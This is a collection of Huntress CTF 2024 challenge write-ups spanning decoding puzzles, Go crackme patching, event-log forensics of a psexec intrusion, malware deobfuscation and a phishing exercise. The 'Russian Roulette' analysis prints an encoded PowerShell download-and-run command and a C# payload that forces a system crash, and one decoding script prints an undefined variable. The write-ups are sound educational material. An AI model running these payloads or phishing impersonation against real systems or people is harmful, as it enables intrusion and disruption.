Huntress CTF 2024 Writeups
Some writeups from the 2024 Huntress CTF
Unbelievable | Warmups 🏃♂️ | @JohnHammond
Don’t believe everything you see on the Internet!
Anyway, have you heard this intro soundtrack from Half-Life 3?
Challenge files: Half-Life_3_OST.mp3 - 0f33ec86710e901eceb6894c96eaab8d88be66f859a4338186e2225a855dcd27
Solution Verify if the .mp3 file is actually what it claims to be using the file command
file Half-Life_3_OST.mp3
You see that it is a .png file, so rename it and open it to find the flag as text in the image file Use an OCR tool/ text extractor to get your flag
tesseract file.png flag
TXT Message | Warmups 🏃♂️ | @JohnHammond
Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…
Solution Given the challenge name, we need to look for the TXT record for ctf.games dig TXT ctf.games
;; ANSWER SECTION:
ctf.games. 14400 IN TXT "146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175"
We see an interesting TXT record. Looking at the description we see that od is slanted… there is a Linux command od short for octal dump Simply decode the octal dump
31337 Linux cmdline method :
printf '\146\154\141\147\173\061\064\145\060\067\062\146\067\060\065\144\064\065\070\070\062\064\060\061\144\061\064\061\143\065\066\062\146\144\143\060\142\175'
octal_values = [
146, 154, 141, 147, 173, 61, 64, 145, 60, 67, 62, 146, 67, 60, 65, 144, 64, 65, 70,
70, 62, 64, 60, 61, 144, 61, 64, 61, 143, 65, 66, 62, 146, 144, 143, 60, 142, 175
]
# Convert octal values to ASCII characters
decoded = ''.join([chr(int(str(num), 8)) for num in octal_values])
print(ascii_chars_from_octal)
Whamazon | Warmups 🏃♂️ | @JohnHammond
Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?
Solution Start the web instance and interact with the web based command line
Trying to buy a flag shows you don’t have enough money
Try buy an apple or something else instead and buy a negative value of it
Infinite money glitch
Now buy the flag
Beat the rock paper scissors by choosing scissors (the shop always chooses paper)
Check inventory for the flag
Too Many Bits | Warmups 🏃♂️ | @JohnHammond
What do all these ones and zero’s mean!?! We are in the Warmups category after all…
01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101
Solution Convert the binary to text
Cattle | Warmups 🏃♂️ | @JohnHammond
I know it’s an esoteric challenge for a Capture the Flag, but could you herd these cows for me?
Challenge files: cattle - 105e4572d5ec784cef666e52b45c120fab46985539df2373c49f9c684ac7cc93
Solution Read the file cattle
Notice it has “moo” repeated in different variations and cases
Google moo cipher and find that cow cipher is being used
Decode the cow cipher
MatryoshkaQR | Warmups 🏃♂️ | @JohnHammond
Wow! This is a big QR code! I wonder what it says…?
Challenge files: qrcode.png - 9dc337224caa057f0f3eb1134defd2c291a295f861a777101b3eb4987b554c0c
Solution Get the data from the QR code image using a command like:
zbarimg image.png
The data received is a python raw bytes string Simply write the raw bytes to a file using python Get the data from the second QR code:
zbarimg decoded.png
Solution Script:
hex_data = (
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00'\x00\x00\x00'\x01\x00\x00\x00\x00\xa4\xd8l\x98\x00\x00\x00\xf5IDATx\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6T~\xfa\x04\xe4\xff\x0fh\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01H\x00\x00\xbe\xd5\x95J\xfa\x04\xc2*\x15`\x08\x00\xff\x9d.\x9f\xfe\x04\xfd#P\xc3\x0b\x02\x97\x0e:\x07d\x04/vIg\x19\x00\xbb\xcd\xf3-\xd2\x02\xfb\xd6d\xb5\x88\x02E\xc7^\xdf\xfc\x00\x84\xfb\x13\xf3J\x02\xfd\x88a\xefD\x00\xc8t$\x90\n\x01\xc7\x01\xee1\xf7\x043Q\x17\x0cH\x01\xa5\x03\x1c6d\x02\r\xf0\xbfV$\x00\xcf\x13d3\x06\x01\xee\x08J\xf5E\x00\x9b\xee\n\xac\xfa\x01\xea|\xf2\xe86\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90U%\x14\x00\xbf g\xa5\xee\x02\xfbH\xf1#4\x00\xff\xa1!;\x86\x02\x81VB\xdf\xfc\x04>\xb1s\x00\x10\x02\xe4>\xab-p\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcbl5\x02\x1c\xfc\x85;\xd0\x02\xc2\xfb\xe6A\x00\x01\xff\x00\x00\x00\xff\xf9\xdb_g\xf4\x9a\xddH\x00\x00\x00\x00IEND\xaeB`\x82"
)
with open("image.png", "wb") as file:
file.write(hex_data)
Mystery | Warmups 🏃♂️ | @MichaelOrlino
Someone sent this to me… such enigma, such mystery:
rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy
Settings as below:
3 Rotor Model
Rotor 1: VI, Initial: A, Ring A
Rotor 2: I, Initial: Q, Ring A
Rotor 3: III, Initial L, Ring A
Reflector: UKW B
Plugboard: BQ CR DI EJ KW MT OS PX UZ GH
Solution Use an enigma cipher machine and use the settings provided - example site: https://www.dcode.fr/enigma-machine-cipher
The following message is revealed: message wrapped in light hidden deeper out of sight locking it more tight anyway your flagis here flag fdfeabcacbebfbadaefbeccaadddbafezzz
Zulu | Warmups 🏃♂️ | @JohnHammond
Did you know that zulu is part of the phonetic alphabet?
Challenge files: Zulu - a1385a40dd63729ed733673e925a62f583eb1b795b90193678bd5899bce77c8ae
Solution Use the file command to determine that zulu is a compressed archive
Use 7zip to extract the file zulu~ from the archive; this file contains the flag
Unbelievable | Warmups 🏃♂️ | @JohnHammond
You gotta make sure the people who find stuff for you are rewarded well!
Escalate your privileges and uncover the flag.txt in the finder user’s home directory.
Solution Start and connect to the service
Use the find command chained with grep to get the flag
find /home/ -type f -exec grep -E 'flag\{[0-9a-f]{32}' {} \; 2>/dev/null
GoCrackMe1 | Reverse Engineering 🔃 | @HuskyHacks
TENNNNNN-HUT!
Welcome to the Go Dojo, gophers in training!
Go malware is on the rise. So we need you to sharpen up those Go reverse engineering skills. We’ve written three simple CrackMe programs in Go to turn you into Go-binary reverse engineering ninjas!
First up is the easiest of the three. Go get em!
Challenge File: GoCrackMe1.zip - 5460DF1F9A9708343C7F47FC91AC793C094F0C723C91CFACF3995BAC385891FB (Archive Password: infected)
Solution: Execute the binary, we received “Access Denied!”
Load into a disassembler and locate main_main function
Follow the execution flow and note that there’s a conditional jump, one set of instructions is to print the string “Access Denied!” so it’s very likely that we want to reverse the jump to execute the other instructions
Load the program into cutter in write mode and reverse the jump. Edit > Reverse Jump
Execute the modified program and receive the flag
GoCrackMe2| Reverse Engineering 🔃 | @HuskyHacks
Not bad gophers, but that one was the easiest of the three! How will you do against something a little more involved? I wouldn’t expect to get any help from debugging symbols on this one…
Challenge File: GoCrackMe2.zip - 3AB041E5D7825F0E963EA7DDBC938EFCF33C2F7E082C109358FF268FCF6FF538
Solution (WIP) JBE Instruction at 0x004881a3 - Patch this from JBE (0f 86) to JA (0f 87)
This takes us to a different loop which prints the second half of the flag rather than the first half
GoCrackMe3| Reverse Engineering 🔃 | @HuskyHacks
You’ve trained, you’ve failed, you’ve succeeded, you’ve learned. Everything you’ve done up to this point has prepared you for this moment. Don’t let me down, Gopher. Don’t let me down.
Challenge File: GoCrackMe3.zip - FBFEC8DD944FE9A5A839B49569EC6D0CD3EA34BAA7F6128C1E501F4321978E98 (Archive Password: infected)
Solution Using EDB debugger, step through the program and follow the execution flow, stepping over everything, eventually the progrm will exit with the message “Access Denied!” Re-open the program and locate and step through the different functions responsible for this “Access Denied!” Message, this will take you through the following addresses/ functions:
0x43229b > Points to 0x4f7a00 > Calls 0x4e5340 > 0x4e53ad Calls RSI > 0x4dd1c0 > 0x4d7c00 > 0x4d8120 > 0x403300
Continue to step through until you reach the conditional jump instruction at 0x4f7a76
This instruction will jump to 0x4f7cbe if our Zero Flag is set to 1 from the previous Test al, al instruction, in our case, it is 1, if we change nothing and continue to step through, the program will exit with Access Denied!
We can also note the Access Denied ASCII strings present in some register values
Load the program back up and set a breakpoint at 0x4f7a76, this time, we’re going to reverse the jump by changing our Zero Flag from 1 to 0, now we’ll step over to the next instruction at 0x4f7a7c
In EDB, change the Zero Flag by double clicking the Z under the registers view
Keep stepping through, at 0x4f7dc9 we’re going to hit an instruction that jumps us to 0x4f81ab
This initiates a loop between 0x4f819e and 0x4f81ae
We’ll toggle a breakpoint at the following instruction 0x4f81b0 which we’ll hit when the loop completes
Reviewing the RAX register we can see a string which could indicate part of the flag is being written
We step through the program and keep re-iterating the same loop for further bytes to be written to R12, including a flag{ string, a strong indication that this is our flag being written Eventually, if we keep stepping through, the program will exit and we will receive “Access Still Denied!”, the R12 register will look like so at this point, we are still missing some characters for the flag: (In some cases the program terminates only after the first part is written)
Debug the program again and do the same thing, pay attention to the instructions after the loop completes: It jumps to 0x4f7dce, performs a Test Al, Al at 0x4f7d80 followed by a conditional jump (JE to 0x4f7e45) at 0x4f7d82 If our Zero Flag is 1 at this point, we hit this jump to 0x4f7e45 which will terminate the program We need to ensure that our Zero Flag is set to 0 at this instruction to be taken back to the loop, so this is another good place to set a breakpoint and ensure the ZF is 0
After changing our ZF and returning the loop, the entire flag will be written and visible in the R12 register
Now it’s just a case of stepping through, we’ll hit another loop and see that the flag will start to be written in the R12 register in the correct order
After completing the loops a few times, we’ll see the full flag
If you go too far, the program will exit with “Actually, I don’t feel like printing the flag… But I can tell you that the flag is 38 characters long.”
No Need For Brutus | Cryptography 🔐 | @aenygma
A simple message for you to decipher:
squiqhyiiycfbudeduutvehrhkjki
Submit the original plaintext hashed with MD5, wrapped between the usual flag format: flag{}
Ex: If the deciphered text is “hello world”, the MD5 hash would be 5eb63bbbe01eeed093cb22bb8f5acdc3, and the flag would be flag{5eb63bbbe01eeed093cb22bb8f5acdc3}.
Solution Brutus suggests that Ceaser Cipher (ROT cipher) is being used
List out all of the ROT13 possibilities squiqhyiiycfbudeduutvehrhkjki and find the answer caesarissimplenoneedforbrutus (ROT10)
MD5 hash the answer
Obfuscation Station | Forensics🔎 | @resume
You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?
Challenge File: Challenge.zip - A92182E35CA0C0B71EE61C9DBBDE81AC95E0A419346B853CB67F38DCDA2B7F8C
Solution: From Base64, Raw Inflate
Nightmare On Hunt Street! | Forensics 🔎 | Austin Worline, Jose Oregon, and Adrian Garcia
DeeDee hears the screams, In the logs, a chilling trace— Freddy’s waiting near.
Are you able to unravel the attack chain?
Challenge File: logs-parts1-5.zip - 9c41270027093e8d46b8acf6c7cfbc052b9a786b7315af26ed2d0d4dbbdde139
Part 1
The first question is:
What is the IP address of the host that the attacker used?
NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.
Author: Austin Worline, Jose Oregon, and Adrian Garcia
The Security and System event logs contain legitimate data, the Application event logs appear to be empty.
Solution:
- Use evtxecmd to process the system and security event logs.
- Search for 4624/4625 events which show the Source endpoint as Kali (10.1.1.42)
Flag: 10.1.1.42
Part 2
How many times was the compromised account brute-forced? Answer just the integer value.
NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.
Author: Austin Worline, Jose Oregon, and Adrian Garcia
Solution:
- Use evtxecmd to process the system and security event logs.
- Search for logon failed events (4625) for jsmith. 32 events are shown
Flag: 32
Part 3
What is the name of the offensive security tool that was used to gain initial access? Answer in all lowercase.
NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.
Author: Austin Worline, Jose Oregon, and Adrian Garcia
Solution:
-
Use evtxecmd to process the system and security event logs.
-
The logons to the host were type 3 logons, indicaitng a suite such as Impacket was used to achieve command execution
- Following the logon event for jsmith, we can see process creation events (4688) for the following:
-
- C:\Windows\wgWMRHln.exe
-
- C:\Windows\qebXSwGD.exe
-
- C:\Windows\MrEQbpfX.exe
-
The process creation events indicate the binary was executed as SYSTEM
- Reviewing the System logs, we can see service creation events (7045) for the above binaries with random 4 letter names (fdpa/WREx)
These behaviours are consistent with the use of Impacket PSExec
(In reality just guess psexec and win)
Flag: psexec
Part 4
How many unique enumeration commands were run with net.exe? Answer just the integer value.
NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.
Author: Austin Worline, Jose Oregon, and Adrian Garcia
Solution:
-
Use evtxecmd to process the system and security event logs.
- Search for Process Creation (4688) events with the Executable net.exe
- Count the enumeration commands
-
- net user
-
- net localgroup
-
- net share
Flag: 3
Part 5
What password was successfully given to the user created?
NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.
Solution:
-
Use evtxecmd to process the system and security event logs.
-
Search for User Creation (4720) events
-
Review the Process Creation (4688) events prior to the 4720 event, we can see a net.exe process with the following command line:
C:\Windows\SysWOW64\net.exe “C:\Windows\system32\net.exe” user susan_admin Susan123! /ADD
Flag: Susan123!
Russian Roulette | Malware 👾 | @JohnHammond
My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! 😦
WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.
NOTE: Archive password is russianroulette
Challenge File: _russian_roulette.zip - fbce2a38c647f4cfcbbe16d3b05747b3175e3083d62831c09ff1e94940b43d78
Solution:
Right Click > Properties > Target:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -e aQB3AHIAIABpAHMALgBnAGQALwB6AGQANABoAFoAbgAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=
Convert from Base64
Follow ‘is[.]gd/zd4hZn’ and download the file
Review the file, it saves as a zip but is actually a batch script
Review the file, appears to be encoded characters
This isn’t encountered when downloading the file with a Linux operating system
Decoding from and encoding to UTF-16LE and downloading the new file in CyberChef fixes this issue
Clean up by removing the comments
Find ::.*
Replace with nothing
Remove the first two lines and find / replace the first few variable sets
Execute the batch file, saving the output to a new file
Identify suspicious PowerShell command and decode the Base64 encoded string to reveal a new URL
Download the file at ‘is[.]gd/QRDyiP’ Open in a text editor, replace ; with a new line (\n) to make it more readable
File Contents:
$s='using System
using System.Text
using System.Security.Cryptography
using System.Runtime.InteropServices
using System.IO
public class X{[DllImport("ntdll.dll")]public static extern uint RtlAdjustPrivilege(int p,bool e,bool c,out bool o)
[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint e,uint n,uint u,IntPtr p,uint v,out uint r)
public static unsafe string Shot(){bool o
uint r
RtlAdjustPrivilege(19,true,false,out o)
NtRaiseHardError(0xc0000022,0,0,IntPtr.Zero,6,out r)
byte[]c=Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw")
byte[]k=Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=")
byte[]i=Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==")
using(Aes a=Aes.Create()){a.Key=k
a.IV=i
ICryptoTransform d=a.CreateDecryptor(a.Key,a.IV)
using(var m=new MemoryStream(c))using(var y=new CryptoStream(m,d,CryptoStreamMode.Read))using(var s=new StreamReader(y)){return s.ReadToEnd()
}}}}'
$c=New-Object System.CodeDom.Compiler.CompilerParameters
$c.CompilerOptions='/unsafe'
$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c
if((Get-Random -Min 1 -Max 7) -eq 1){[X]::Shot()}Start-Process "powershell.exe"
c is converted to a MemoryStream, after AES decryption using k as the key and i as the IV
Copy the c variable as the input, Use a From Base64 operating, then an AES decrypt operation with the k variable as the key and i for the IV
Strange Calc | Malware 👾 | @JohnHammond
I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??
NOTE: Archive password is strange_calc
Challenge File: calc.zip - 4c95f07e2269b31bbc3b577ac37a9f1e5890d475076eac2402b4bd0d2b834b78
Solution: -Extract AutoIT Script -Convert $a from Base64 and Microsoft Script Decoder -Add console.log to various lines through the script and run through a browser console to debug and view contents
Solution Script:
function a(b) {
var c = "", d = b.split("\n");
console.log("Split lines:", d);
for (var e = 0; e < d.length; e++) {
var f = d[e].replace(/^\s+|\s+$/g, '');
console.log("Processed line:", f);
if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue;
var g = (f.charCodeAt(0) - 32) & 63;
console.log("g value:", g);
for (var h = 1; h < f.length; h += 4) {
if (h + 3 >= f.length) break;
var i = (f.charCodeAt(h) - 32) & 63,
j = (f.charCodeAt(h + 1) - 32) & 63,
k = (f.charCodeAt(h + 2) - 32) & 63,
l = (f.charCodeAt(h + 3) - 32) & 63;
console.log("i, j, k, l values:", i, j, k, l);
c += String.fromCharCode((i << 2) | (j >> 4));
console.log("Intermediate c value after first char:", c);
if (h + 2 < f.length - 1) {
c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
console.log("Intermediate c value after second char:", c);
}
if (h + 3 < f.length - 1) {
c += String.fromCharCode(((k & 3) << 6) | l);
console.log("Intermediate c value after third char:", c);
}
}
}
console.log("Final c value before substring:", c);
return c
}
var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
console.log("Decoded string:", n);
Red Phish Blue Phish! | Misc ❓ | @truman.huntress, @adam.huntress
You are to conduct a phishing excercise against our client, Pyrch Data.
We’ve identified the Marketing Director, Sarah Williams (swilliams@pyrchdata.com), as a user susceptible to phishing.
Are you able to successfully phish her? Remember your OSINT 😉
NOTE: The port that becomes accessible upon challenge deployment is an SMTP server. Please use this for sending any phishing emails.
You will not receive an email/human response as the mail infrastructure for this challenge is emulated.
This challenge had a web interface to start
Solution Connect to the provided SMTP server using telnet
Do a bit of OSINT on pyrch to see the company website (pyrchdata.com) and see that the security officer is called Joe Davern
Using what we know, craft a phishing email pretending to be the IT Security Manager
We know the email format is firstname_firstletter + surname@pyrchdata.com because Sarah Williams (swilliams@pyrchdata.com)
Pretend to be jdaveren@pyrchdata.com (the subjects and contents don’t really matter, but have fun crafting your phishing email
Base64by32 | Scripting 📜 | @JohnHammond
This is a dumb challenge. I’m sorry.
Challenge files: base64by32.zip - cef862a3606afc9ba862986f0fb28cbad0346fa8f4b8ccc76b7d339c141fb2bb
Solution Unzip the archive base64by32.zip
The challenge title tells you what to do… base64 decode the file 32 times
Solution Script:
#!/bin/bash
encoded_string=$(cat base64by32)
decode_base64() {
echo "$1" | base64 -d
}
for ((i=1; i<=32; i++)); do
encoded_string=$(decode_base64 "$encoded_string")
#echo "Decoded $i times: $encoded_string"
done
echo "Decoded 32 times: $encoded_string"